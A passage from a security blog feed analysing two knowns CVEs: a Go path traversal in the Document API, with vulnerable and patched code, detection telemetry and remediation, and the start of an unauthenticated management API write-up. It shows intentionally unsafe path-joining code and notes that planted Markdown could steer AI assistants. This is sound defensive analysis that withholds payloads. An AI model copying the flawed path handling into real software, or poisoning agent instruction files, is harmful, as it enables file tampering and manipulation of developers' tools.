class="line">&#125;</span><br></pre></td></tr></table></figure><p>Three operations, none of which constrains anything:</p><ul><li><strong><code>TrimPrefix(raw, &quot;/&quot;)</code></strong> looks like it prevents an absolute path from replacing the base. It does not need to — Go’s <code>filepath.Join</code> already cleans a leading separator on the joined element. So this line changes nothing security-relevant while looking like it does.</li><li><strong><code>TrimSuffix(raw, &quot;.md&quot;)</code></strong> exists so the store can re-append the extension. It is a formatting concern.</li><li><strong><code>Trim(raw, &quot;/&quot;)</code></strong> strips surrounding separators. Cosmetic.</li></ul><p>Parent-directory segments pass through completely untouched. The function is named <code>clean</code>, is called on every path the API accepts, and provides no containment whatsoever.</p><p><strong>Inferred:</strong> this is the most reusable lesson in the whole knowns set. A helper named <code>clean</code>, <code>sanitize</code>, or <code>normalize</code> sitting on the boundary is exactly the thing that stops a reviewer from asking whether containment happens further down. The name did more damage than the missing check.</p><h3 id="The-sink-joins-and-writes"><a href="#The-sink-joins-and-writes" class="headerlink" title="The sink joins and writes"></a>The sink joins and writes</h3><p>From <code>internal/storage/doc_store.go</code> at v0.29.1:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(ds *DocStore)</span></span> Create(doc *models.Doc) <span class="type">error</span> &#123;</span><br><span class="line"><span class="keyword">if</span> doc.Path == <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line"><span class="keyword">return</span> fmt.Errorf(<span class="string">&quot;doc path is required&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">absPath := filepath.Join(ds.docsDir(), filepath.FromSlash(doc.Path)+<span class="string">&quot;.md&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> err := os.MkdirAll(filepath.Dir(absPath), <span class="number">0755</span>); err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> fmt.Errorf(<span class="string">&quot;create doc dir: %w&quot;</span>, err)</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> ds.writeFile(absPath, doc)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>Update</code> is the same shape. <code>Delete</code> is the same shape with a different verb:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Delete removes a doc file.</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(ds *DocStore)</span></span> Delete(path <span class="type">string</span>) <span class="type">error</span> &#123;</span><br><span class="line">path = strings.TrimSuffix(path, <span class="string">&quot;.md&quot;</span>)</span><br><span class="line">absPath := filepath.Join(ds.docsDir(), filepath.FromSlash(path)+<span class="string">&quot;.md&quot;</span>)</span><br><span class="line"><span class="keyword">return</span> os.Remove(absPath)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>filepath.Join</code> composes and cleans; it never constrains. Nothing here calls <code>filepath.Rel</code>, checks a prefix, or resolves symlinks. The only validation in <code>Create</code> is that the path is non-empty.</p><h3 id="Two-constraints-and-why-one-of-them-does-not-hold"><a href="#Two-constraints-and-why-one-of-them-does-not-hold" class="headerlink" title="Two constraints, and why one of them does not hold"></a>Two constraints, and why one of them does not hold</h3><p>The forced <code>.md</code> suffix is real: every <em>file</em> operation lands on a Markdown file. That is where <code>VC:L</code> comes from — you cannot read <code>/etc/shadow</code> with this.</p><p>But <code>os.MkdirAll(filepath.Dir(absPath), 0755)</code> runs <strong>before</strong> the write and carries no extension constraint at all. The directory portion of the path is arbitrary. So the primitive is:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">files       -&gt; arbitrary .md, read / create / overwrite / delete</span><br><span class="line">directories -&gt; arbitrary, created on demand</span><br></pre></td></tr></table></figure><p><strong>Inferred:</strong> the asymmetry matters more than it first appears. A write primitive limited to one extension is still dangerous when the attacker also chooses where the parent directory goes, because it lets them construct the target tree rather than find one that already exists.</p><h3 id="The-auto-path-branch"><a href="#The-auto-path-branch" class="headerlink" title="The auto-path branch"></a>The auto-path branch</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Auto-generate path from title + folder when not provided.</span></span><br><span class="line"><span class="keyword">if</span> doc.Path == <span class="string">&quot;&quot;</span> &amp;&amp; doc.Title != <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">slug := slugifyTitle(doc.Title)</span><br><span class="line"><span class="keyword">if</span> doc.Folder != <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line">doc.Path = doc.Folder + <span class="string">&quot;/&quot;</span> + slug</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">doc.Path = slug</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>When <code>path</code> is absent, the handler builds one by concatenating <code>folder</code> with a slugified title. The title goes through <code>slugifyTitle</code>; <strong><code>folder</code> does not</strong>. <strong>Inferred:</strong> a second caller-controlled field reaching the same join, through a branch a reviewer checking the <code>path</code> parameter would not think to look at.</p><h3 id="The-data-flow"><a href="#The-data-flow" class="headerlink" title="The data flow"></a>The data flow</h3><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">POST /api/docs            (unauthenticated by default)</span><br><span class="line">PUT  /api/docs/*</span><br><span class="line">GET  /api/docs/*</span><br><span class="line">        |</span><br><span class="line">        | path from JSON body, or percent-decoded from the URL</span><br><span class="line">        v</span><br><span class="line">cleanDocPath()            &lt;-- trims cosmetics, leaves &quot;..&quot; intact</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">filepath.Join(docsDir, FromSlash(path) + &quot;.md&quot;)   &lt;-- lexical, no containment</span><br><span class="line">        |</span><br><span class="line">        +--&gt; os.MkdirAll(Dir(absPath), 0755)      &lt;-- arbitrary directory</span><br><span class="line">        +--&gt; writeFile(absPath, doc)              &lt;-- arbitrary .md write</span><br><span class="line">        +--&gt; os.Remove(absPath)                   &lt;-- arbitrary .md delete</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">Runs as the developer&#x27;s own user</span><br></pre></td></tr></table></figure><h2 id="Why-this-got-a-second-CVE"><a href="#Why-this-got-a-second-CVE" class="headerlink" title="Why this got a second CVE"></a>Why this got a second CVE</h2><p>The unsafe join in <code>doc_store.go</code> was already public as <a href="/posts/2026/09/cve-2026-86439-knowns-path-traversal-mcp-doc-memory/">CVE-2026-86439</a>. Assigning a second identifier is correct, and the reason is worth stating plainly:</p><table><thead><tr><th></th><th>CVE-2026-86439</th><th>CVE-2026-86775</th></tr></thead><tbody><tr><td>Entry point</td><td>MCP doc and memory tools</td><td>HTTP Document API</td></tr><tr><td>Caller</td><td>An AI assistant’s tool call</td><td>Any client that can reach the port</td></tr><tr><td>Privileges</td><td><code>PR:L</code> — needs a session</td><td><code>PR:N</code> — none</td></tr><tr><td>Operations</td><td>Read, create, overwrite, delete</td><td>Same, plus arbitrary <code>mkdir</code></td></tr><tr><td>Also covers</td><td>Memory store IDs</td><td>Doc routes only</td></tr></tbody></table><p>Same defect, different reachability and a different threat model. <strong>Inferred:</strong> this is textbook variant analysis — once you know a sink is unguarded, the work is enumerating every caller that reaches it, not re-finding the bug. Fixing one entry point would have left the other wide open, which is precisely why the vendor fixed the <em>storage layer</em> instead.</p><h2 id="Impact"><a href="#Impact" class="headerlink" title="Impact"></a>Impact</h2><h3 id="Verified-impact"><a href="#Verified-impact" class="headerlink" title="Verified impact"></a>Verified impact</h3><ul><li>A remote unauthenticated attacker could read, create, overwrite and delete arbitrary <code>.md</code> files accessible to the process.</li><li>Arbitrary directories could be created via <code>os.MkdirAll</code>.</li><li>Documentation belonging to other projects on the same host could be exposed.</li><li>Files could be corrupted or destroyed.</li><li>The CVE record explicitly describes the result as an arbitrary-write primitive that may be chained toward code execution.</li><li>Integrity impact is High; confidentiality and availability are Low.</li></ul><h3 id="Deployment-dependent-consequences"><a href="#Deployment-dependent-consequences" class="headerlink" title="Deployment-dependent consequences"></a>Deployment-dependent consequences</h3><p>The following are <strong>inferred</strong>:</p><ul><li>disclosure of specifications, notes and architectural decisions from unrelated projects on the same machine;</li><li>overwriting agent instruction files, project READMEs and decision records — Markdown is exactly the file type an AI assistant treats as authoritative, so the <code>.md</code> constraint bites far less here than it would elsewhere;</li><li>destruction of documentation that may not be under version control;</li><li>chaining toward execution by planting Markdown where another tool will act on it, or by combining the directory-creation primitive with the other write path in <a href="/posts/2026/09/cve-2026-86542-knowns-path-traversal-import-name/">CVE-2026-86542</a>;</li><li>persistence that outlives the network exposure, because the payload is a file.</li></ul><p><strong>Inferred:</strong> for a tool whose entire purpose is feeding documents to a coding assistant, “attacker can write arbitrary Markdown” is much closer to “attacker can influence the code you ship” than the CVSS confidentiality rating suggests.</p><h2 id="Safe-validation-and-detection"><a href="#Safe-validation-and-detection" class="headerlink" title="Safe validation and detection"></a>Safe validation and detection</h2><h3 id="Inventory-and-configuration-review"><a href="#Inventory-and-configuration-review" class="headerlink" title="Inventory and configuration review"></a>Inventory and configuration review</h3><ol><li>Identify knowns installations and versions; anything before 0.30.0 is affected.</li><li>Establish whether the API was reachable beyond loopback and for how long — see <a href="/posts/2026/09/cve-2026-86543-knowns-unauthenticated-management-api/">CVE-2026-86543</a> for the bind-address and password checks.</li><li>Review the docs directory and, more importantly, the directories <em>around</em> it for unexpected <code>.md</code> files or unexplained new folders.</li><li>Treat the exposure scope as every path the account could write, not the project directory.</li></ol><p>Do not validate by sending traversal payloads at a shared or production host. Version and bind-address facts answer the question without touching the vulnerable path.</p><h3 id="Telemetry-to-review"><a href="#Telemetry-to-review" class="headerlink" title="Telemetry to review"></a>Telemetry to review</h3><ul><li><code>POST /api/docs</code>, <code>PUT /api/docs/*</code> and <code>GET /api/docs/*</code> where the path is not a plain relative name;</li><li>any path value containing parent-directory segments, in raw or percent-encoded form;</li><li><code>POST /api/docs</code> bodies carrying a <code>folder</code> field that is not a simple name;</li><li>Markdown files created or modified outside the project tree;</li><li>directories created by the knowns process outside its data directory — this is the highest-signal event, because a documentation tool has no legitimate reason to do it;</li><li><code>os.Remove</code> activity in host filesystem audit logs attributed to the process.</li></ul><h2 id="Remediation-and-hardening"><a href="#Remediation-and-hardening" class="headerlink" title="Remediation and hardening"></a>Remediation and hardening</h2><h3 id="Required-remediation"><a href="#Required-remediation" class="headerlink" title="Required remediation"></a>Required remediation</h3><p>Upgrade to <strong>knowns 0.30.0 or later</strong>. The fix introduces a single resolver and routes every document operation through it:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">resolveDocPath</span><span class="params">(root, path <span class="type">string</span>)</span></span> (<span class="type">string</span>, <span class="type">string</span>, <span class="type">error</span>) &#123;</span><br><span class="line">path = strings.TrimSuffix(path, <span class="string">&quot;.md&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> strings.TrimSpace(path) == <span class="string">&quot;&quot;</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>, fmt.Errorf(<span class="string">&quot;doc path is required&quot;</span>)</span><br><span class="line">&#125;</span><br><span class="line">absPath, err := safepath.Resolve(root, filepath.ToSlash(path)+<span class="string">&quot;.md&quot;</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>, fmt.Errorf(<span class="string">&quot;invalid doc path %q: %w&quot;</span>, path, err)</span><br><span class="line">&#125;</span><br><span class="line">rel, err := filepath.Rel(root, absPath)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="string">&quot;&quot;</span>, <span class="string">&quot;&quot;</span>, fmt.Errorf(<span class="string">&quot;resolve doc path: %w&quot;</span>, err)</span><br><span class="line">&#125;</span><br><span class="line">canonical := strings.TrimSuffix(filepath.ToSlash(rel), <span class="string">&quot;.md&quot;</span>)</span><br><span class="line"><span class="keyword">return</span> canonical, absPath, <span class="literal">nil</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>Create</code>, <code>Update</code>, <code>Delete</code> and <code>Get</code> all call it. <code>safepath.Resolve</code> rejects rather than sanitises — absolute paths, parent traversal, NUL bytes, Windows device and volume prefixes, and symlink escapes all fail closed. That package is covered in more detail in the <a href="/posts/2026/09/cve-2026-86538-knowns-path-traversal-template-preview/">CVE-2026-86538 writeup</a>.</p><p><strong>The detail worth copying is what the patch did <em>not</em> touch.</strong> <code>cleanDocPath</code> is byte-for-byte identical in 0.30.0:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">cleanDocPath</span><span class="params">(raw <span class="type">string</span>)</span></span> <span class="type">string</span> &#123;</span><br><span class="line">raw = strings.TrimPrefix(raw, <span class="string">&quot;/&quot;</span>)</span><br><span class="line">raw = strings.TrimSuffix(raw, <span class="string">&quot;.md&quot;</span>)</span><br><span class="line"><span class="keyword">return</span> strings.Trim(raw, <span class="string">&quot;/&quot;</span>)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The maintainers deliberately left the route-layer normaliser alone and put containment at the sink. That is the right call. Hardening <code>cleanDocPath</code> would have fixed the reported routes and left every other caller of <code>DocStore</code> — including the MCP tools from CVE-2026-86439 — still exposed. Guarding the function that touches the filesystem fixes all callers at once, including ones not yet written.</p><p><code>resolveDocPath</code> also returns a <strong>canonical</strong> path derived from <code>filepath.Rel</code>, so the value stored back on the document is the one that was actually validated. That closes the gap where a record could carry a path different from the file it was written to.</p><h3 id="Defense-in-depth"><a href="#Defense-in-depth" class="headerlink" title="Defense in depth"></a>Defense in depth</h3><ul><li>Bind to loopback and set a password (both are default in 0.30.0).</li><li>Treat any endpoint that accepts a path as a privileged operation, even a read-only-looking one.</li><li>Run developer context servers with the narrowest practical filesystem view.</li><li>Enable integrity monitoring on agent instruction files and project documentation, not just on code.</li><li>Audit for unexpected writes rather than assuming absence of an alert means absence of a write.</li></ul><h2 id="Timeline"><a href="#Timeline" class="headerlink" title="Timeline"></a>Timeline</h2><table><thead><tr><th>Date</th><th>Event</th><th>Source certainty</th></tr></thead><tbody><tr><td>2026-08-14</td><td>Public disclosure date recorded on the CVE record</td><td>CVE record <code>datePublic</code></td></tr><tr><td>2026-09-09</td><td>CVE-2026-86775 published</td><td>CVE record metadata</td></tr><tr><td>2026-09-10</td><td>This analysis published</td><td>This site</td></tr></tbody></table><h2 id="Lessons-for-builders"><a href="#Lessons-for-builders" class="headerlink" title="Lessons for builders"></a>Lessons for builders</h2><h3 id="A-helper-named-clean-is-a-liability-if-it-does-not-contain"><a href="#A-helper-named-clean-is-a-liability-if-it-does-not-contain" class="headerlink" title="A helper named clean is a liability if it does not contain"></a>A helper named <code>clean</code> is a liability if it does not contain</h3><p><code>cleanDocPath</code> trimmed three cosmetic things and let traversal through. The name told every subsequent reader that the path had been handled. If a function only formats, call it <code>formatDocPath</code> — and if it is supposed to make the value safe, make it return an error.</p><h3 id="Fix-the-sink-not-the-route"><a href="#Fix-the-sink-not-the-route" class="headerlink" title="Fix the sink, not the route"></a>Fix the sink, not the route</h3><p>The patch left the route-layer normaliser untouched and hardened the storage layer. That single decision fixed both this CVE and the MCP-facing variant, and it protects call sites nobody has written yet. Guarding entry points is a maintenance treadmill; guarding the dangerous operation is durable.</p><h3 id="Enumerate-callers-not-bugs"><a href="#Enumerate-callers-not-bugs" class="headerlink" title="Enumerate callers, not bugs"></a>Enumerate callers, not bugs</h3><p>The same unguarded join produced two CVEs with different reachability and different privilege requirements. When you find an unsafe sink, the remaining work is mechanical: list every path that reaches it. Grep for the idiom, not for the reported endpoint.</p><h3 id="An-extension-filter-is-not-a-boundary"><a href="#An-extension-filter-is-not-a-boundary" class="headerlink" title="An extension filter is not a boundary"></a>An extension filter is not a boundary</h3><p>Restricting writes to <code>.md</code> sounds like containment until you notice <code>os.MkdirAll</code> on the same line has no such restriction — and that for an AI documentation tool, Markdown <em>is</em> the sensitive file type.</p><h3 id="Check-every-field-that-reaches-the-path"><a href="#Check-every-field-that-reaches-the-path" class="headerlink" title="Check every field that reaches the path"></a>Check every field that reaches the path</h3><p><code>path</code> was the obvious parameter. <code>folder</code> reached the same join through the auto-generate branch, unslugified. Trace each input to its sink independently, including the ones that only appear on a fallback path.</p><h2 id="Related-advisories-in-this-set"><a href="#Related-advisories-in-this-set" class="headerlink" title="Related advisories in this set"></a>Related advisories in this set</h2><p>Eight CVEs were assigned to knowns before 0.30.0 and fixed in the same release:</p><ul><li><a href="/posts/2026/09/cve-2026-86439-knowns-path-traversal-mcp-doc-memory/">CVE-2026-86439</a> — the MCP-facing variant of this same storage-layer defect</li><li><a href="/posts/2026/09/cve-2026-86543-knowns-unauthenticated-management-api/">CVE-2026-86543</a> — unauthenticated management API exposure</li><li><a href="/posts/2026/09/cve-2026-86538-knowns-path-traversal-template-preview/">CVE-2026-86538</a> — unauthenticated arbitrary file read via <code>templateFile</code></li><li><a href="/posts/2026/09/cve-2026-86542-knowns-path-traversal-import-name/">CVE-2026-86542</a> — unauthenticated arbitrary file write via import name</li><li><a href="/posts/2026/09/cve-2026-86541-knowns-path-traversal-code-replace/">CVE-2026-86541</a> — path traversal in the <code>code.replace</code> MCP action</li><li><a href="/posts/2026/09/cve-2026-86544-knowns-authorization-bypass-code-actions/">CVE-2026-86544</a> — authorisation bypass via misclassified code actions</li><li><a href="/posts/2026/09/cve-2026-86540-knowns-arbitrary-code-execution-lsp-binary/">CVE-2026-86540</a> — arbitrary code execution via the LSP binary override</li></ul><h2 id="References"><a href="#References" class="headerlink" title="References"></a>References</h2><ul><li><a href="https://www.cve.org/CVERecord?id=CVE-2026-86775">CVE.org record: CVE-2026-86775</a></li><li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-86775">NIST National Vulnerability Database: CVE-2026-86775</a></li><li><a href="https://github.com/knowns-dev/knowns/security/advisories/GHSA-3h35-4jq7-hv45">GitHub Security Advisory: GHSA-3h35-4jq7-hv45</a></li><li><a href="https://www.vulncheck.com/advisories/knowns-before-0.30.0-path-traversal-via-document-api">VulnCheck advisory</a></li><li><a href="https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/server/routes/docs.go#L143-L147"><code>cleanDocPath</code> at v0.29.1</a></li><li><a href="https://github.com/knowns-dev/knowns/blob/v0.29.1/internal/storage/doc_store.go#L173-L182"><code>DocStore.Create</code> at v0.29.1</a></li><li><a href="https://github.com/knowns-dev/knowns/blob/v0.30.0/internal/storage/doc_store.go#L490-L505"><code>resolveDocPath</code> at v0.30.0</a></li><li><a href="https://github.com/knowns-dev/knowns/releases/tag/v0.30.0">knowns v0.30.0 release notes</a></li></ul><p>Reported by uziii2208 and hoanggxyuuki. Recheck the primary sources above during remediation; public vulnerability records are frequently revised after publication.</p>]]></content>
    
    
    <summary type="html">CVE-2026-86775 affects knowns before 0.30.0: the Document API normalises the caller&#39;s path but never contains it, giving unauthenticated read, write, delete and mkdir outside the docs directory. Upgrade to 0.30.0.</summary>
    
    
    
    <category term="Research" scheme="https://blog.nhhoang.io.vn/categories/Research/"/>
    
    <category term="Vulnerability Research" scheme="https://blog.nhhoang.io.vn/categories/Research/Vulnerability-Research/"/>
    
    
    <category term="ai-security" scheme="https://blog.nhhoang.io.vn/tags/ai-security/"/>
    
    <category term="cve" scheme="https://blog.nhhoang.io.vn/tags/cve/"/>
    
    <category term="knowns" scheme="https://blog.nhhoang.io.vn/tags/knowns/"/>
    
    <category term="path-traversal" scheme="https://blog.nhhoang.io.vn/tags/path-traversal/"/>
    
    <category term="golang" scheme="https://blog.nhhoang.io.vn/tags/golang/"/>
    
    <category term="cwe-22" scheme="https://blog.nhhoang.io.vn/tags/cwe-22/"/>
    
    <category term="arbitrary-file-write" scheme="https://blog.nhhoang.io.vn/tags/arbitrary-file-write/"/>
    
    <category term="variant-analysis" scheme="https://blog.nhhoang.io.vn/tags/variant-analysis/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2026-86543: knowns Unauthenticated Management API Exposure</title>
    <link href="https://blog.nhhoang.io.vn/posts/2026/09/cve-2026-86543-knowns-unauthenticated-management-api/"/>
    <id>https://blog.nhhoang.io.vn/posts/2026/09/cve-2026-86543-knowns-unauthenticated-management-api/</id>
    <published>2026-09-08T05:00:00.000Z</published>
    <updated>2026-11-12T15:04:06.496Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><strong>Scope and safety.</strong> This article analyses a fixed, publicly disclosed vulnerability using the vendor’s own published source references. It describes the defective control flow and the remediation. It intentionally omits ready-to-run exploit requests, traversal strings, and weaponised proof-of-concept material.</p></blockquote><h2 id="Executive-summary"><a href="#Executive-summary" class="headerlink" title="Executive summary"></a>Executive summary</h2><p>CVE-2026-86543 is a critical missing-authentication vulnerability in <a href="https://github.com/knowns-dev/knowns">knowns</a>, a Go-based context server that gives AI coding assistants structured access to a project’s tasks, docs, specs, and decisions. In versions before 0.30.0, three independent defaults compounded into a single critical outcome:</p><ol><li>the HTTP server bound every interface rather than loopback;</li><li>the authentication middleware degraded to a pass-through whenever no password was configured — the state of every fresh installation; and</li><li><code>POST /api/tunnel/start</code> performed no authorisation check of its own, so any client that reached the server could ask it to publish itself on the public internet.</li></ol><p>The weakness is classified as <strong>CWE-306: Missing Authentication for Critical Function</strong>. The vendor scores it <strong>CVSS 4.0 9.3 Critical</strong> (<code>CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</code>) and <strong>CVSS 3.1 9.8 Critical</strong> (<code>CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</code>).</p><p>This CVE is the <em>exposure multiplier</em> for the rest of the knowns advisory set. On its own it grants an unauthenticated caller the full management surface. Combined with <a href="/posts/2026/09/cve-2026-86538-knowns-path-traversal-template-preview/">CVE-2026-86538</a> (arbitrary file read) and <a href="/posts/2026/09/cve-2026-86542-knowns-path-traversal-import-name/">CVE-2026-86542</a> (arbitrary file write), it turns two path-traversal bugs into remotely reachable, credential-free primitives.</p><p>The issue is fixed in <strong>knowns 0.30.0</strong> by commit <a href="https://github.com/knowns-dev/knowns/commit/878a02cb7cc14f0a592fdfda7a520af3cac500fb"><code>878a02cb7cc1</code></a>.</p><p><strong>Evidence labels used below:</strong></p><ul><li><strong>Verified</strong> means stated by the CVE record, the GitHub Security Advisory, or the project’s own source and release material.</li><li><strong>Inferred</strong> means a deployment consequence derived from those facts and clearly marked as such.</li></ul><h2 id="Key-facts"><a href="#Key-facts" class="headerlink" title="Key facts"></a>Key facts</h2><table><thead><tr><th>Item</th><th>Finding</th><th>Confidence</th></tr></thead><tbody><tr><td>Identifier</td><td>CVE-2026-86543</td><td>Verified</td></tr><tr><td>Advisory</td><td>GHSA-fc85-99vc-9c75</td><td>Verified</td></tr><tr><td>Product</td><td>knowns (<code>pkg:npm/knowns</code>, Go implementation)</td><td>Verified</td></tr><tr><td>Vendor</td><td>knowns-dev</td><td>Verified</td></tr><tr><td>Affected versions</td><td>All versions before 0.30.0</td><td>Verified</td></tr><tr><td>Fixed version</td><td>0.30.0</td><td>Verified</td></tr><tr><td>Weakness</td><td>Missing authentication for critical function, CWE-306</td><td>Verified</td></tr><tr><td>Entry point</td><td>The management HTTP API, reachable on all interfaces</td><td>Verified</td></tr><tr><td>Critical function</td><td><code>POST /api/tunnel/start</code></td><td>Verified</td></tr><tr><td>Authentication posture</td><td>Middleware is a no-op when no password is set; fresh installs have none</td><td>Verified</td></tr><tr><td>CVSS 4.0</td><td>9.3 Critical</td><td>Verified</td></tr><tr><td>CVSS 3.1</td><td>9.8 Critical</td><td>Verified</td></tr><tr><td>Reporters</td><td>Tong Hoang Gia, Nguyen Huy Hoang</td><td>Verified</td></tr><tr><td>Fix commit</td><td><code>878a02cb7cc14f0a592fdfda7a520af3cac500fb</code></td><td>Verified</td></tr></tbody></table><h2 id="Why-this-class-matters-for-AI-developer-tooling"><a href="#Why-this-class-matters-for-AI-developer-tooling" class="headerlink" title="Why this class matters for AI developer tooling"></a>Why this class matters for AI developer tooling</h2><p>A context server for AI assistants is an unusually attractive target because of what it is <em>designed</em> to hold. It is deliberately given the project’s specifications, architectural decisions, task history, notes, and — through its MCP surface — read and write access to the source tree itself. It is a single process that concentrates exactly the material an attacker would otherwise have to assemble from many places.</p><p>Local developer tools have historically been allowed a relaxed security posture on the theory that “it only listens on my machine”. That assumption has been eroding for years, and it fails outright in the environments where AI coding tooling actually runs today:</p><ul><li>laptops on coffee-shop, coworking, conference, and hotel networks;</li><li>shared office and campus VLANs with no client isolation;</li><li>cloud development environments, dev containers, and Codespaces-style remote workspaces;</li><li>CI runners and ephemeral build agents that keep a tool alive between steps;</li><li>WSL and container bridges where “localhost” is a routable address to other tenants.</li></ul><p><strong>Inferred:</strong> on any of those networks, a service that binds <code>0.0.0.0</code> with authentication disabled is not a local tool. It is an unauthenticated network service that happens to run next to a developer’s source code.</p><h2 id="Attack-surface-and-trust-boundary"><a href="#Attack-surface-and-trust-boundary" class="headerlink" title="Attack surface and trust boundary"></a>Attack surface and trust boundary</h2><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">Any client on a reachable network</span><br><span class="line">        |</span><br><span class="line">        | HTTP request, no credentials</span><br><span class="line">        v</span><br><span class="line">chi router  ---&gt;  AuthManager.Middleware</span><br><span class="line">        |                 |</span><br><span class="line">        |                 +-- HasPassword() == false  --&gt;  pass through, no check</span><br><span class="line">        v</span><br><span class="line">Management API surface</span><br><span class="line">  - /api/templates/*      (see CVE-2026-86538)</span><br><span class="line">  - /api/imports/*        (see CVE-2026-86542)</span><br><span class="line">  - /api/tunnel/start     &lt;-- provisions a public ingress</span><br><span class="line">  - project, docs, memory, task, and code routes</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">Project files, notes, specs, and the developer&#x27;s account</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">cloudflared tunnel  ----&gt;  the public internet</span><br></pre></td></tr></table></figure><p>Two trust boundaries fail here, and the second is the interesting one.</p><p>The first is the ordinary one: <em>unauthenticated network client → privileged management API</em>. That is a serious but familiar bug.</p><p>The second is <em>reachable client → control of the service’s own network exposure</em>. <code>POST /api/tunnel/start</code> is not a data endpoint. It is a topology endpoint. It takes a service whose blast radius was bounded by the local network and re-publishes it at a globally resolvable address. An attacker who reaches the service once, briefly, on a shared network can convert transient local access into durable internet exposure — and then keep using it after leaving the network.</p><h2 id="Root-cause-analysis"><a href="#Root-cause-analysis" class="headerlink" title="Root-cause analysis"></a>Root-cause analysis</h2><h3 id="Defect-1-—-the-authentication-middleware-opts-itself-out"><a href="#Defect-1-—-the-authentication-middleware-opts-itself-out" class="headerlink" title="Defect 1 — the authentication middleware opts itself out"></a>Defect 1 — the authentication middleware opts itself out</h3><p>From <code>internal/server/auth.go</code> at v0.29.1:</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(am *AuthManager)</span></span> Middleware(next http.Handler) http.Handler &#123;</span><br><span class="line"><span class="keyword">return</span> http.HandlerFunc(<span class="function"><span class="keyword">func</span><span class="params">(w http.ResponseWriter, r *http.Request)</span></span> &#123;</span><br><span class="line"><span class="keyword">if</span> am == <span class="literal">nil</span> || !am.HasPassword() &#123;</span><br><span class="line">next.ServeHTTP(w, r)</span><br><span class="line"><span 